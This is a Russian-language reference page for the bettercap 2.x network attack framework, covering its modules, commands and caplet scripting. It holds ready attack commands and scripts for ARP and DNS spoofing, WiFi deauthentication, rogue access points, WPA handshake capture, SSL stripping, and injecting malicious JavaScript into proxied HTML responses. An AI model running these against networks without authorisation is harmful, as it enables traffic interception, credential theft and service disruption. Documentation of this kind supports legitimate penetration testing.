bettercap

'

Описание bettercap

Программа bettercap версий 2.x и более поздних является продолжением bettercap предыдущего поколения, которое было остановлено на 1.6.x. Архивная страница, посвящённая ветке 1.6: https://kali.tools/?p=345

Данная страница описывает bettercap 2.x — актуальную в данный момент версию.

bettercap — это универсальная программа для сетевых атак и мониторинга.

Возможности bettercap включают в себя:

  • ARP-спуфинг и сниффинг
  • мониторинг сети
  • мониторинг WiFi и BLE
  • выполнение атак в беспроводных сетях
  • выполнение атак человек-посередине с поддержкой разнообразных приёмов: обход HTTPS, DNS спуфинг, запуск веб-сервера и прочее
  • поддержка caplets — каплетов, файлов, позволяющих описать скриптовым языком сложные и автоматизированные атаки
  • работает на Linux, macOS, Windows, Android, ARM

Домашняя страница: https://www.bettercap.org/

Автор: Simone 'evilsocket' Margaritelli*

Лицензия: GPL3

Справка по bettercap

bettercap работает в интерактивном режиме — она поддерживает ввод команд, которые включают/отключают модули, выполняют атаки, выводят информацию. Также имеется несколько опций, которые можно указать при запуске программы.

Базовые аргументы командной строки:

аргумент описание
-autostart МОДУЛИ Разделённый запятой список модулей для автоматического старта при запуске программы. (по умолчанию это events.stream, net.recon, update.check)
-caplet ИМЯ_ФАЙЛА Считать команды из этого файла и выполнить их в интерактивной сессии.
-eval КОМАНДЫ В интерактивной сессии запустить одну или более команд, разделённых ; – это используется для установки переменных через командную строку.
-iface ИНТЕРФЕЙС Сетевой интерфейс для привязки, если не указан, то будет автоматически выбран дефолтный интерфейс (принимаются имя интерфейса, ip или mac-адрес).
-no-history Отключить файл истории интерактивной сессии ~/.bettercap.history.
-no-colors Отключить цветные эффекты вывода.
-env-file ИМЯ_ФАЙЛА Если найдены, загрузить переменные окружения из этого файла, укажите пустое имя, если хотите отключить дефолтные переменные коружения. (по умолчанию ~/bettercap.env)
-cpu-profile ИМЯ_ФАЙЛА Записывать файл профиля cpu (используется для отладки и бенчмаркинга).
-mem-profile ИМЯ_ФАЙЛА Записывать файл профиля памяти (используется для отладки и бенчмаркинга).
-silent Подавить все логи, которые не являются ошибками.
-debug Включить сообщения отладки.

Если опция -caplet не указана, bettercap будет запущен в интерактивном режиме, позволяющем вам вручную стартовать и останавливать модули, изменять опции и применять на лету новые правила файервола.

Чтобы узнать свои возможности, наберите help и вам будет показано меню общей справки, вы можете получить справку по определённому модулю, используя help имя-модуля (например, попробуйте help net.recon), чтобы увидеть, какие модули запущены и изменять их настройки в любое время, вы можете использовать интерактивные команды.

Чтобы напечатать все переменные и их значения, вы можете использовать get * или get имя-переменной, чтобы получить единичную переменную (попробуйте get gateway.address), чтобы установить новое значение, вы можете выполнить set имя-переменной новое-значение (значение "" очистит содержимое переменное), в типичной сессии переменные выглядят примерно так:

Базовые команды bettercap

Эти базовые команды доступны для выполнения в интерактивном режиме:

команда описание
help / help МОДУЛЬ Вывести список доступных команд, если имя модуля не указано, или показать справку для определённого модуля.
active Показать информацию об активных модулях.
quit / q Закрыть сессию и выйти.
sleep СЕКУНДЫ Сон на заданное количество секунд.
get ПЕРЕМЕННАЯ Получить значение ПЕРЕМЕННОЙ, используйте * для всех.
set ПЕРЕМЕННАЯ ЗНАЧЕНИЕ Установить значение ПЕРЕМЕННОЙ на ЗНАЧЕНИЕ.
read ПЕРЕМЕННАЯ ЗАПРОС Показать ЗАПРОС чтобы спросить пользователя ввести то, что будет сохранено внутри ПЕРЕМЕННОЙ.
clear Очистить экран .
include CAPLET Загрузить и запустить этот caplet (каплет) в текущую сессию.
!COMMAND Выполнить команду оболочки и напечатать её вывод.
alias MAC ИМЯ Назначить псевдоним заданной конечной точки указанной по её MAC адресу (будет сохранено в файле и использовано для команды net.show.

Руководство по bettercap

Страница man отсутствует.

Каплеты (Caplets)

Каплеты (Caplets) или .cap файлы — это мощный способ записать в скрипт интерактивные сессии bettercap, это как файлы .rc для Metasploit. Актуальные каплеты и модули находятся в этом репозитории, настоятельно рекомендуется ознакомится с концепцией каплетов, чтобы до конца понимать, какие возможности даёт bettercap.

Чтобы скачать все каплеты за раз:

git clone https://github.com/bettercap/caplets

Каплеты можно использовать двумя способами.

Из интерактивной сессии

Каждый раз, когда вы печатаете команду, которая не распознаётся интерактивным сеансом, bettercap будет пытаться загрузить соответствующий файл каплета, например:

> reload arp.spoof

В качестве обычного поведения программы это должно было бы вызвать следующую ошибку, поскольку reload не является знакомой командой:

Unknown or invalid syntax "reload arp.spoof", type help for the help menu.

Давайте попробуем создать файл reload.cap в нашей текущей папке, в нёго запишем следующие строки:

$0 off
$0 on

Если мы попробуем вновь выполнить reload arp.spoof, мы увидем, что сеанс больше не печатает снова это же самое сообщение об ошибки, но вместо этого выполняет строки:

arp.spoof off
arp.spoof on

Как вы уже поняли, этим способом вы можете задавать пользовательские команды, $0 будет заменён на первый аргумент, $1 на второй и так далее.

Порядок загрузки следующий:

  1. ./reload.cap
  2. ./caplets/reload.cap
  3. Любая папка в переменной окружения $CAPSPATH, если она указана (значения разделяются двоеточием (:) как в $PATH).

Из командной строки

Используя аргумент командной строки -caplet, например:

sudo bettercap -caplet ./example.cap

Этот пример загрузит файл example.cap для текущей папки. Для настройки каплета можно использовать дополнительные параметры, например, следующая строка команды будет спуфить и печатать HTTP запросы для целой сети:

sudo bettercap -caplet path/to/caplets/http-req-dump.cap

Эта будет нацелена на определённый IP, поскольку будет переназначена переменная arp.spoof.targets:

sudo bettercap -caplet path/to/caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.5"

Модули bettercap

Имеются следующие модули:

  • Основные
  • events.stream
  • ticker
  • api.rest
  • update.check
  • Bluetooth с низким энергопотреблением
  • ble.recon / enum / write
  • 802.11
  • wifi.recon / deauth / ap
  • Ethernet и IP
  • net.recon
  • net.probe
  • net.sniff
  • syn.scan
  • wake on lan
  • Спуферы
  • arp.spoof
  • dhcp6.spoof
  • dns.spoof
  • Прокси
  • packet.proxy
  • tcp.proxy
  • модули
  • http.proxy
  • https.proxy
  • модули
  • Сервера
  • http.server
  • Утилиты
  • mac.changer
  • gps

events.stream

Этот модуль включён по умолчанию, он отвечает за информирование о событиях (логи, найдены новые хосты и т. д.) во время интерактивной сессии.

Команды

команда описание
events.stream on Запустить поток событий.
events.stream off Остановить поток событий.
events.show ЛИМИТ? Показать поток событий ( ЛИМИТ – это опциональный параметр ).
events.waitfor TAG TIMEOUT? Ожидание события с заданным тегом, либо всегда, либо в течение определённого таймаута в секундах.
events.ignore ФИЛЬТР События с идентификатором, соответствующим этому фильтру, не будут показаны (используйте несколько раз, чтобы добавить больше фильтров).
events.include ФИЛЬТР Используется для удаления фильтров, переданных командой events.ignore.
events.clear Очистить буфер потока событий.

Параметры

параметр значение по умолчанию описание
events.stream.output   Если не пустой, события будут записаны в этот файл вместо стандартного вывода.

Примеры

Запустить bettercap без цвета и эффектов в терминали и записывать события в файл ~/bettercap-events.log:

sudo bettercap -no-colors -eval "set events.stream.output ~/bettercap-events.log"

Показывать каждое событие:

> events.show

Показать последние 5 событий, заснуть на одну секунду и очистить буфер:

> events.show 5; sleep 1; events.clear

Начать обнаружение устройств BLE и ожидать, пока хотя бы один замечен:

> ble.recon on; events.waitfor ble.device.new

То же самое, но с таймаутом в 10 секунд:

> ble.recon on; events.waitfor ble.device.new 10

Игнорировать события от WiFi клиентов во время использования одного из модулей wifi:

> events.ignore wifi.client.

Запустить bettercap при этом отключив события net.recon модуля (найдены новые конечные точки, потеряны конечные точки и т. п.) заснуть на одну секунду и затем включить их обратно (используется для подавления начальных сообщений обнаружения):

sudo bettercap -eval "events.ignore endpoint.; sleep 1; events.include endpoint."

ticker

Этот модуль может использоваться для периодического выполнения заданного набора команд в интерактивной сессии.

Команды

команда описание
ticker on Запустить ticker.
ticker off Остановить ticker.

Параметры

параметр значение по умолчанию описание
ticker.commands clear; net.show Список команд, разделённых ;.
ticker.period 1 Цикл тикера в секундах.

Примеры

Запустить зондирование хостов, очистить экран и вывести обнаруженные конечные точки каждую секунду (будет использовать дефолтные параметры):

> net.probe on; clear; ticker on

Продолжать деаутентификацию клиентов от точки доступа с BSSID DE:AD:BE:EF:DE:AD каждые пять секунд:

> set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

api.rest

REST API для скрипта и/или взаимодействия с сеансом.

Команды

команда описание
api.rest on Запустить REST API сервер.
api.rest off Запустить REST API сервер.

Параметры

параметр значение по умолчанию описание
api.rest.certificate ~/.bcap-api.rest.certificate.pem API TLS сертификат (будет сгенерирован автоматически).
api.rest.key ~/.bcap-api.rest.key.pem API TLS ключ.
api.rest.address <адрес интерфейса> Адрес на который привязать API REST сервер.
api.rest.port 8083 Порт для привязки API REST сервера.
api.rest.username   Обязательное имя пользователя для API HTTP basic аутентификации.
api.rest.password   Обязательный пароль для API HTTP basic аутентификации.
api.rest.websocket false Если true маршрут /api/events будет доступен как веб-сокет конечной точки вместо HTTPS.

Маршруты

Клиенты могут аутентифицироваться с использованием HTTP basic аутентификацией, это доступные API маршруты.

GET /api/session

Получить JSON состояния текущей сессии, пример ответа:

GET /api/session/ble

Получить JSON устройства BLE в текущей сессии, пример ответа:

опциональные аргументы

  • Mac адрес, например GET /api/session/ble/00:AA:BB:CC:DD:33 — вернёт информацию о единичной конечной точке с mac-адресом 00:AA:BB:CC:DD:33 (клиент Adafruit Bluefruit LE из предыдущего вывода).

GET /api/session/env

Получить JSON значений переменных окружения в текущей сессии, пример ответа:

GET /api/session/gateway

Получить JSON шлюза интерфейса текущей сессии, пример ответа:

{
    "ipv4": "192.168.1.1",
    "ipv6": "",
    "mac": "-",
    "hostname": "gateway.",
    "alias": "",
    "vendor": "Technicolor",
    "first_seen": "2018-02-23T06:28:43.649440315+01:00",
    "last_seen": "2018-02-23T06:28:43.649440315+01:00",
    "meta": {
        "values": {}
    }
}

GET /api/session/interface

Получить JSON главного интерфейса (wifi/lan) текущей сессии, пример ответа:

{
    "ipv4": "192.168.1.17",
    "ipv6": "-",
    "mac": "-",
    "hostname": "enx18fffffff",
    "alias": "",
    "vendor": "Dell",
    "first_seen": "2018-02-23T06:28:43.565053179+01:00",
    "last_seen": "2018-02-23T06:28:43.565053179+01:00",
    "meta": {
        "values": {}
    }
}

GET /api/session/lan

Получить JSON lan устройств текущей сессии, пример ответа:

опциональные аргументы

  • Mac-адрес, например GET /api/session/lan/00:AA:BB:CC:DD:11 — вернёт информацию о единичной конечной точке lan с mac-адресом 00:AA:BB:CC:DD:11 (из приведённого выше вывода это pihole).

GET /api/session/options

Получить JSON набора опций текущей сессии, пример ответа:

{
    "InterfaceName": "",
    "Caplet": "../caplets/netmon.cap",
    "Debug": false,
    "Silent": false,
    "NoHistory": false,
    "Commands": "",
    "CpuProfile": "",
    "MemProfile": ""
}

GET /api/session/packets

Получить JSON трафика пакетов текущей сессии, пример ответа:

GET /api/session/started-at

Получить JSON времени запуска текущей сессии, пример ответа:

"2018-02-23T06:28:43.650628576+01:00"

GET /api/session/wifi

Получить JSON wifi устройств (клиентов и точек доступа) в текущей сессии, пример ответа:

опциональные аргументы

  • Mac-адрес, например GET /api/session/wifi/00:AA:BB:CC:DD:22 — вернёт информацию о единичной конечной точке wifi с mac-адресом 00:AA:BB:CC:DD:22 (из вывода выше это подключённый клиент).

POST /api/session

Отправляет в интерактивную сессию команду методом POST, ожидается, что будет отправлен объект JSON следующего вида:

{"cmd": "net.probe on"}

При этом ответом будет:

{"success": true, "msg":""}

GET /api/events

Возвращает список событий ( опциональный параметр n GET ограничит количество ):

DELETE /api/events

Очистит буфер событий.

update.check

Модуль для проверки обновлений bettercap

Команды

команда описание
update.check on Проверяет последнюю доступню стабильную версию и сравнивает её с используемой.

ble

Этот модуль ответственен за обнаружение устройств Bluetooth Low Energy.

Команды

команда описание
ble.recon on Запустить обнаружение устройств Bluetooth Low Energy.
ble.recon off Запустить обнаружение устройств Bluetooth Low Energy.
ble.show Показать обнаруженные устройства Bluetooth Low Energy.
ble.enum MAC Перечислить службы и характеристики заданного BLE устройства.
ble.write MAC UUID HEX_DATA Записать HEX_DATA буфер в BLE устройство с указанным MAC-адресом, в характеристики с заданным UUID.

Примеры

Подключиться, перечислить и считать характеристики с BLE устройства 04:52:de:ad:be:ef:

> ble.enum 04:52:de:ad:be:ef

Записать байты ff ff ff ff ff ff ff ff to в BLE устройство 04:52:de:ad:be:ef на его характеристики с UUID 234bfbd5e3b34536a3fe723620d4b78d:

> ble.write 04:52:de:ad:be:ef 234bfbd5e3b34536a3fe723620d4b78d ffffffffffffffff

Известные проблемы

  • ble.enum только работает один раз на выполнение
  • неполная поддержка для macOS
  • совсем не поддерживается на Windows.

Wifi

Модули wifi.* работают с WiFi интерфейсом, поддерживающим режим монитора и инъекцию пакетов, они используются для монитора и выполнения беспроводных атак на 802.11.

Команды

команда описание
wifi.recon on Запустить обнаружение беспроводных 802.11 базовых станций.
wifi.recon off Остановить обнаружение беспроводных 802.11 базовых станций.
wifi.recon BSSID Установить фильтр базовых станций 802.11 на.
wifi.recon clear Удалить фильтр базовых станций 802.11.
wifi.deauth BSSID Запустить атаку деаутентификации 802.11, если указан BSSID, то будет деаутентифицирован каждый клиент, в противном случае только выбранный клиент.
wifi.show Показать текущий список беспроводных станций (по умолчанию сортировка по RSSI).
wifi.recon.channel КАНАЛ Разделённый запятой список каналов, по которым прыгать.
wifi.recon.channel clear Включить прыгание по всем поддерживаемым каналам.
wifi.ap Внедрить маяки управления фальшивкой, чтобы создать мошенническую точку доступа ( требует запуска wifi.recon ).

Параметры

параметр значение по умолчанию описание
wifi.hop.period 250 Если включено прыганье по каналам (пустое значение wifi.recon.channel), это время в миллисекундах через которое алгоритм будет менять каналы (оно будет удвоено, если оба диапазона частот 2.4 и 5.0 доступны).
wifi.source.file   Если установлена wifi модуль будет считывать из файла pcap, а не с аппаратного интерфейса.
wifi.skip-broken true Если true, dot11 пакеты с некорректной контрольной суммой будут пропущены.
wifi.ap.ssid FreeWifi SSID фальшивой точки доступа.
wifi.ap.bssid <random mac> BSSID фальшивой точки доступа.
wifi.ap.channel 1 Канал фальшивой точки доступа.
wifi.ap.encryption true Если true, фальшивая точка доступа будет использовать WPA2, в противном случае результатом будет открытая ТД.

Примеры

Используя модули ticker и wifi.recon создать WiFi сканер (выполнять переход по каналам на каждой поддерживающейся частоте):

> set ticker.commands "clear; wifi.show"; wifi.recon on; ticker on

Вести разведку только на каналх 1, 2 и 3:

> wifi.recon on; wifi.recon.channel 1,2,3

Деаутентифицировать клиентов от точки доступа с BSSID DE:AD:BE:EF:DE:AD каждые пять секунд:

> set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

Создание поддельной точки доступа "Banana" с BSSID DE:AD:BE:EF:DE:AD на 5 канале без шифрования:

> set wifi.ap.ssid Banana
> set wifi.ap.bssid DE:AD:BE:EF:DE:AD
> set wifi.ap.channel 5
> set wifi.ap.encryption false
> wifi.recon on; wifi.ap

net.recon

Этот модуль включён по умолчанию, он ответственен за периодическое считывание ARP кэша чтобы мониторить новые хосты в сети.

Команды

команда описание
net.recon on Запустить обнаружение сетевых хостов.
net.recon off Остановить обнаружение сетевых хостов.
net.show Показать список кэша хостов (по умолчанию сортировка по ip).
net.show by seen Показать список кэша хостов (сортировка по когда виден последний раз).
net.show by sent Показать список кэша хостов (сортировка по отправленным пакетам).
net.show by rcvd Показать список кэша хостов (сортировка по полученным пакетам).

net.probe

Этот модуль продолжает зондирование новых хостов в сети, отправляя фиктивные UDP пакеты каждому возможному IP в подсети.

Команды

команда описание
net.probe on Запустить зонд.
net.probe off Остановить зонд.

Параметры

параметр значение по умолчанию описание
net.probe.throttle 10 Если больше, чем 0, пакеты зондирования будут ограничены этим значением в миллисекундах.

net.sniff

Сниффер сетевых пакетов.

Команды

 

команда описание
net.sniff on Запустить сниффер пакетов.
net.sniff off Остановить сниффер пакетов.
net.sniff stats Напечатать конфигурацию и статистику сессии снифера пакетов.

Параметры

параметр значение по умолчанию описание
net.sniff.output   Если установлено, сниффер запишет захваченные пакеты в файл pcap.
net.sniff.source   Если установлено, сниффер считает этот pcap файл вместо текущего интерфейса.
net.sniff.verbose true Если true, каждый захваченных и пропарсенный пакет будет отправлен в поток событий для отображения, в противном случае, там будут только пропарсенные на уровне приложений (sni, http, и т.д.).
net.sniff.local false Если true, то будут учитываться только пакеты с/на этот компьютер, другие будут пропущены.
net.sniff.filter not arp BPF фильтр для сниффера. https://biot.com/capstats/bpf.html
net.sniff.regexp   Если установлено, будут рассматриваться только пакеты с полезной нагрузкой, соответствующей регулярному выражению.

Примеры

Каплет local-sniffer.cap будет сниффить, парсить и печатать все пакеты на локальной машине:

events.clear

set net.sniff.verbose false
set net.sniff.local true
# https://biot.com/capstats/bpf.html
# set net.sniff.filter not arp and not udp port 53

net.sniff on

В каплете wpa_handshake.cap сниффер используется для захвата WPA2 рукопожатия в то время как пользователя деаутентифицирует клиентов:

...
# Sniff EAPOL frames ( WPA handshakes ) and save them to a pcap file.
set net.sniff.verbose true
set net.sniff.filter ether proto 0x888e
set net.sniff.output wpa.pcap
net.sniff on
...

syn.scan

Модуль для выполнения SYN сканирования портов, обнаруженные октрытые порты записываются как tcp-ports в поле meta рядом с информацией о конечных точках (показывается при выполнении net.show).

Команды

команда описание
syn.scan IP-ДИАПАЗОН НАЧАЛЬНЫЙ-ПОРТ КОНЕЧНЫЙ-ПОРТ? Выполняет syn сканирование портов в отношении IP адреса внутри указанного диапазона портов.

Примеры

Сканировать порты с 1 по 1000 единичного IP:

> syn.scan 192.168.1.3 1 1000

Сканировать порт 22 нескольких адресов:

> syn.scan 192.168.1.1-50 22

Сканировать порты с 1 по 10000 всей подсети:

> syn.scan 192.168.1.0/24 1 10000

wol

Модуль отправляет широковещательные Wake On LAN пакеты или на определённый MAC.

Команды

команда описание
wol.eth MAC Отправить WOL как сырой ethernet пакет типа 0x0847 (если MAC не указан, то будет использоваться ff:ff:ff:ff:ff:ff).
wol.udp MAC Отправить WOL как широковещательный IPv4 пакет на UDP порт 9 (если MAC не указан, то будет использоваться ff:ff:ff:ff:ff:ff).

arp.spoof

Этот модуль спуфит выбранные хосты в сети, используя сконструированные ARP пакеты.

Команды

команда описание
arp.spoof on Запустить ARP спуфер.
arp.ban on Запустить ARP спуфер в режиме бана, означает, что подключение для цели(ей) не будет работать.
arp.spoof/ban off Остановить ARP спуфер.

Параметры

параметр значение по умолчанию описание
arp.spoof.targets <entire subnet> Разделённый запятой список MAC адресов, IP адресов, диапазонов IP или псевдонимов для спуфинга (список поддерживаемых форматов диапазонов).
arp.spoof.whitelist   Разделённый запятой список MAC адресов, IP адресов, диапазонов IP или псевдонимов для пропуска во время спуфинга.

Примеры

Бан 192.168.1.6 адреса от сети:

> set arp.spoof.targets 192.168.1.6; arp.ban on

Спуфить 192.168.1.2, 192.168.1.3 и 192.168.1.4:

> set arp.spoof.targets 192.168.1.2-4; arp.spoof on

dhcp6.spoof

Отвечает на DHCPv6 сообщения, обеспечивая жертвы link-local IPv6 адресмами и настраивая атакующий хост в качестве дефолтного DNS сервера (как описано здесь), должен использоваться совместно с модулем dns.spoof.

Команды

команда описание
dhcp6.spoof on Запустить в фоне DHCPv6 спуфер.
dhcp6.spoof off Остановить в фоне DHCPv6 спуфер.

Параметры

параметр значение по умолчанию описание
dhcp6.spoof.domains microsoft.com, goole.com, facebook.com, apple.com, twitter.com Разделённые запятой значения доменных имён для спуфинга.

Примеры

Следующий каплет mitm6.cap выполняет полную DHCPv6 атаку против загружаемой машины Windows 10:

# спуфить Microsoft и Google ^_^
set dns.spoof.domains microsoft.com, google.com
set dhcp6.spoof.domains microsoft.com, google.com

# каждый http запрос на спуфленные хосты будет приходить к нам
# дадим им какой-нибудь контент
set http.server.path caplets/www

# серверные файлы
http.server on
# перенаправлять DNS запросы путём спуфинга DHCPv6 пакетов
dhcp6.spoof on
# отправка спуфленных DNS ответов ^_^
dns.spoof on

# установить пользовательскую строку запроса для ipv6
set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset}
# очистить буфер событий и экран
events.clear
clear

dns.spoof

Отвечает на DNS сообщения спуфленными (подменёнными) ответами.

Команды

команда описание
dns.spoof on Запустить в фоне DNS спуфер.
dns.spoof off Остановить в фоне DNS спуфер.

Параметры

параметр значение по умолчанию описание
dns.spoof.domains * Разделённые запятой значения доменных имён для спуфинга или * для всех.
dns.spoof.address <адрес интерфейса> IP адрес, куда указывать в ответах.
dns.spoof.all false Если true этот модуль будет отвечать на каждый DNS запрос, в противном случае, он будет отвечать только на те, которые нацелены на локальный ПК.

Примеры

Каждый DNS запрос, пришедший с этого компьютера для домена example.com будет преобразован на адрес 1.2.3.4:

> set dns.spoof.domains example.com; set dns.spoof.address 1.2.3.4; dns.spoof on

packet.proxy

Модуль только для Linux, который полагается на NFQUEUEs чтобы активно фильтровать пакеты, используя нативные плагины Go (плагины для этого модуля могут быть найдены в этом репозитории).

ВАЖНО

Чтобы скомпилировать плагин правильно, его файлы .go должны быть скопированы во внутрь папки bettercap с исходным кодом и скомпилированы там, в противном случае у вас могут возникнуть проблемы компилирования из-за конфликта зависимостей с папкой поставщика.

Команды

команда описание
packet.proxy on Запустить пакетный прокси на основе NFQUEUE.
packet.proxy off Остановить пакетный прокси на основе NFQUEUE.

Параметры

параметр значение по умолчанию описание
packet.proxy.queue.num 0 NFQUEUE номер для создания и привязки.
packet.proxy.chain OUTPUT Название цепи правил iptables.
packet.proxy.rule   Дополнительное правило iptables чтобы сделать очередь более селективной (напр. --destination 8.8.8.8).
packet.proxy.plugin   Файл плагина Go для загрузки и вызова для каждого пакета.

Плагины

Параметр packet.proxy.plugin является обязательным и в него должен быть записан путь разделяемого объекта, собранного как плагин Go и экспортируещий вызов OnPacket примерно так:

package main

import (
	"github.com/bettercap/bettercap/log"

	"github.com/chifflier/nfqueue-go/nfqueue"
)

func OnPacket(payload *nfqueue.Payload) int {
	log.Info("We got a packet: %v", payload)
        // this will accept the packet, use NF_DROP to 
        // drop the packet instead.
	payload.SetVerdict(nfqueue.NF_ACCEPT)
	return 0
}

Более сложный пример использования библиотеки gopacket для парсинга и дампа всех слоёв пакета:

package main

import (
	"github.com/bettercap/bettercap/log"

	"github.com/chifflier/nfqueue-go/nfqueue"
	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
)

func OnPacket(payload *nfqueue.Payload) int {
	packet := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default)
	log.Info("%s", packet.Dump())
	payload.SetVerdict(nfqueue.NF_ACCEPT)
	return 0
}

Этот файл test.go может быть скомпилирован примерно так:

go build -buildmode=plugin test.go

После того, как сгенерирован файл test.so, он может использоваться для параметра packet.proxy.plugin.

tcp.proxy

Транспарентный (прозрачный) TCP прокси, с которым можно использовать модули на скриптах javascript. Если использовать вместе со спуфером, то весь TCP трафик на заданный адрес и порт будет перенаправляться на него и, если нужно, он будет автоматически обрабатывать переадресацию портов.

Команды

команда описание
tcp.proxy on Запуск TCP.
tcp.proxy off Остановка TCP.

Параметры

параметр значение по умолчанию описание
tcp.port 443 TCP порт для перенаправления когда прокси активирован.
tcp.address   Обязательный удалённый адрес TCP прокси.
tcp.proxy.port 8443 Порт для привязки на TCP прокси.
tcp.proxy.address <адрес интерфейса> Адрес для привязки на TCP прокси.
tcp.proxy.script   Путь до скрипта модуля прокси.

tcp.modules

Работа модуля tcp.modules управляется скриптами — javascript файлами, в которых должна быть объявлена по крайней мере одна из следующих функций:

// вызывается когда скрипт загружается
function onLoad() {

}

// вызывается когда данные доступны
// возвращает строку для перезаписи "data"
function onData(from, to, data) {

}

Модули могут изменять буфер данных и возвращать его, сигнализируя модулю о переопределении исходного буфера. Например, каплет tcp-req-dump.cap использует функцию onData для переопределения запросов example.com на порт 80:

function onData(from, to, data) {
    if( data.indexOf("Accept-Encoding: gzip, deflate") != -1 ) {
        log("Disabling gzip response");
        data = data.replace("Accept-Encoding: gzip, deflate", "Accept-Encoding: text/plain");
        return data;
    }

    return data.replace(/Example/g, "POPOPOP");
}

Встроенные функции

Модули могут использовать следующие встроенные функции.

функция описание
readFile("/путь/до/файла") Возвращает содержимое файла как строку.
log("message") Пишет сообщение в интерактивную сессию (его уровень будет INFO).
env("iface.ipv4") Прочитать переменную.
env("foo", "bar") Установить переменную.

http.proxy

Полнофункциональный транспарентный (прозрачный) HTTP прокси, работой которого можно управлять с помощью скриптов, используя модули javascript. Если использовать совместно со спуфером, весь HTTP трафик будет перенаправляться на него и при необходимости он будет автоматически обрабатывать перенаправление портов.

Команды

команда описание
http.proxy on Запуск HTTP прокси.
http.proxy off Остановка HTTP прокси.

Параметры

параметр значение по умолчанию описание
http.port 80 HTTP порт для редиректа когда прокси активирован.
http.proxy.address <адрес интерфейса> Адрес для привязки HTTP прокси.
http.proxy.port 8080 Порт для привязки HTTP прокси.
http.proxy.sslstrip false Включить или отключить снятие SSL.
http.proxy.script   Путь до скрипта модуля прокси.

https.proxy

Полнофункциональный транспарентный (прозрачный) HTTPS прокси, работой которого можно управлять модулями на javascript, он на лету автоматически генерирует сертификаты. Если используется вместе со спуфером, весь HTTPS будет перенаправляться на него и при необходимости он будет автоматически управлять редиректами портов.

Команды

команда описание
https.proxy on Запустить HTTPS прокси.
https.proxy off Остановить HTTPS прокси.

Параметры

параметр значение по умолчанию описание
https.port 443 HTTP порт для редиректа когда прокси активирован.
https.proxy.address <адрес интерфейса> Адрес для привязки HTTP прокси.
https.proxy.port 8083 Порт для привязки HTTP прокси.
https.proxy.certificate ~/.bettercap-ca.cert.pem HTTPS proxy certification authority TLS certificate file.
https.proxy.key ~/.bettercap-ca.key.pem HTTPS proxy certification authority TLS key file.
https.proxy.sslstrip false Включить или отключить снятие SSL.
https.proxy.script   Путь до скрипта модуля прокси.

http.modules

Модули http.proxy и https.proxy могут управляться скриптами с использованием javascript файлов, который должны объявлять по крайней мере одну из следующих функций:

// вызывается при загрузке скрипта
function onLoad() {

}

// вызывается когда запрос получен прокси
// и перед тем, как он отправлен настоящему серверу.
function onRequest(req, res) {

}

// вызывается когда запрос отправлен настоящему серверу
// и получен ответ
function onResponse(req, res) {

}

// вызывается каждый раз, когда в сессию вводится неизвестная команда,
// прокси модули опционально могут этим способом обрабатывать пользовательские команды:
function onCommand(cmd) {
    if( cmd == "test" ) {
        /*
         * Custom session command logic here.
         */

        // говорим сессии, мы обработали эту команду
        return true
    }
}

Модули могут изменять объекты req запроса и res ответа, например, каплет web-override.cap использует функцию onRequest чтобы переписать каждый запрос перед его выполнением с фальшивым ответом:

function onRequest(req, res) {
    res.Status      = 200;
    res.ContentType = "text/html";
    res.Body        =  readFile("caplets/www/index.html");
    for (var i = 0; i < res.Headers.length; i++) {
        res.RemoveHeader(res.Headers[i].Name);
    }
    res.SetHeader("Connection", "close");
}

Каплет login-man-abuse.cap использует обработчик onResponse для внедрения вредоносного файла javascript в каждый html ответ:

function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
        var body = res.ReadBody();
        if( body.indexOf('</head>') != -1 ) {
            res.Body = body.replace( 
                '</head>', 
                '<script type="text/javascript">' + "\n" +
                    AbuserJavascript +
                '</script>' +
                '</head>'
            ); 
        }
    }
}

Встроенные функции

Модули могут использовать следующие встроенные функции.

функция описание
readFile("/путь/до/файла") Возвращает содержимое файла как строку.
writeFile("/путь/до/файла", "hello world") Записывает строку hello world в файл, возвращает null или сообщение об ошибке.
log_debug("сообщение") Записать сообщение в интерактивную сессию (его уровень будет DEBUG).
log_info("сообщение") Записать сообщение в интерактивную сессию (его уровень будет INFO).
log_warn("сообщение") Записать сообщение в интерактивную сессию (его уровень будет WARNING).
log_error("сообщение") Записать сообщение в интерактивную сессию (его уровень будет ERROR).
log_fatal("сообщение") Записать сообщение в интерактивную сессию (его уровень будет FATAL).
log("сообщение") Сокращение для log_info("сообщение").
btoa("сообщение") Кодировать сообщение в base64.
atob("bWVzc2FnZQ==") Декодировать сообщение из base64.
env("iface.ipv4") Считать переменную.
env("foo", "bar") Установить переменную.

http.server

Простой HTTP сервер, работает как другие веб-сервера: по запросу пользователя отдаёт файлы и скрипты.

Команды

команда описание
http.server on Запуск в фоне HTTP сервера.
http.server off Остановка в фоне HTTP сервера.

Параметры

параметр значение по умолчанию описание
http.server.path . Папка сервера.
http.server.address <адрес интерфейса> Адрес для привязки http сервера.
http.server.port 80 Порт для привязки http сервера.
http.server.certificate   Файл сертификата TLS, если не является пустым, сконфигурирует этот веб-сервер как HTTPS сервер (автоматически сгенеририрует, если значение заполнено, но этот файл не существует.
http.server.key   Файл ключа TLS, если не является пустым, сконфигурирует этот веб-сервер как HTTPS сервер (автоматически сгенеририрует, если значение заполнено, но этот файл не существует.

Примеры

Команда для запуска веб-сервера, корневой папкой веб-сайтов является /var/www/html:

sudo bettercap -eval "set http.server.path /var/www/html; http.server on"

mac.changer

Меняет mac адрес выбранного интерфейса.

Команды

команда описание
mac.changer on Запустить модуль изменения mac.
mac.changer off Остановить модуль изменения mac и восстановить оригинальный mac адрес.

Параметры

параметр значение по умолчанию описание
mac.changer.iface <имя интерфейса> Имя интерфейса для использования.
mac.changer.address <случайный mac> Аппаратный адрес, который будет применён к интерфейсу.

gps

Модуль, общающийся с апаратурой GPS на последовательном интерфейсе.

Команды

команда описание
gps on Запустить получение данных с аппаратуры GPS.
gps off Остановить получение данных с аппаратуры GPS.
gps.show Показать последние координаты, возвращённые GPS аппаратурой.

Параметры

параметр значение по умолчанию описание
gps.device /dev/ttyUSB0 Последовательное устройство GPS.
gps.baudrate 19200 Скорость передачи данных последовательного устройства GPS.

Примеры

Включить GPS, подождать 5 секунд и затем показать текущие координаты:

> gps on; sleep 5; gps.show

Примеры запуска bettercap

